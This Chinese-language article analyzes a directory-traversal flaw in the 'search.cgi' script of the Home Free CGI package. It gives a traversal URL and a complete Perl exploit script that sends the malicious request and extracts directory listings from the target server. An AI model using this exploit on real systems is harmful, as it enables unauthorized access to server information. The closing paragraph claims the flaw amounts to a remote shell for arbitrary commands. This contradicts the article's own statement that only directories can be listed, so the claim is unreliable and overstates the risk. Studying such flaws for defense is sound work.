search.cgi漏洞分析
先来看看SolutionScripts.com Home free CGI包的脆弱性(search CGI)。
SolutionScripts.com是一个perl CGI程序的经销商,经营所有支持perl的平台上的CGI程序,包括(WINNT、LINUX和大多数的UNIX)。 Home Free是一个CGI包,由SolutionScripts.com开发并销售。在这个CGI包里面的'search'CGI程序有一个安全漏洞,这个漏洞将导致攻击者浏览本地文件内容,甚至在web root目录之外的文件。
如果你对“目录越权访问”有比较好的理解,那么你可以利用这个CGI文件来浏览web root目录以外的内容。
以下说明这个漏洞的来由:
search.cgi 脚本使用以下的输入变量:
letter=any string
cata=any string
perpage=any string
start=any string
boolean=or/and
advanced
如果search.cgi有一个带'..'结果的'letter'变量,那么它就可能显示普通用户所不能访问的目录下的内容,如下所示:
http://www.example.com/cgi-bin/search.cgi?letter=..\..\..\..\winnt
利用上面的URL可以列出该服务器上的\winnt目录。使用这个脚本不能直接列出文件的内容,但它仍然具有一定的威胁性。因为攻击者可以利用这个漏洞来搜集服务器的一些敏感信息,例如绝对路径,DLL版本等等。
以下是这个漏洞的exploit,利用这个程序能在有这个漏洞的服务器上显示出root目录:
#!/usr/bin/perl
#
# Quick exploit of the Home Free ./search.cgi script, allows you to list
# directories on the host.
#
# Default server is antionline's, change as appropriate.
#
use IO::Socket;
if ($ARGV[0] eq "") { die "no argument\n"; }
$asoc = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "examplesite", PeerPort => 80) || die "can't connect to host: $!";
select($asoc);
$| = 1;
print $asoc "GET /cgi-bin/search.cgi?letter=..\\..\\..\\..\\$ARGV[0]&start=1&perpage=all HTTP/1.0\n\n";
while(<$asoc>) {
if ($_ =~ /.+HREF.+TD.+/) {
@parts = split("\"", $_);
$foo = $parts[1];
@parts = split("/", $foo);
print STDOUT $parts[3];
print STDOUT "\n";
}
}
close(ASOC);
CGI漏洞的危险性很大,利用上面的URL格式向服务器提交一个畸形的WEB请求,实际上相当于CGI程序给了网页浏览者一个该服务器的shell,你就可以在服务器上发送任意的命令了。如果WEB服务器是管理员权限起的WEB服务,那么攻击者直接可以通过CGI漏洞获得对服务器的完全控制权。
【责任编辑:小木工】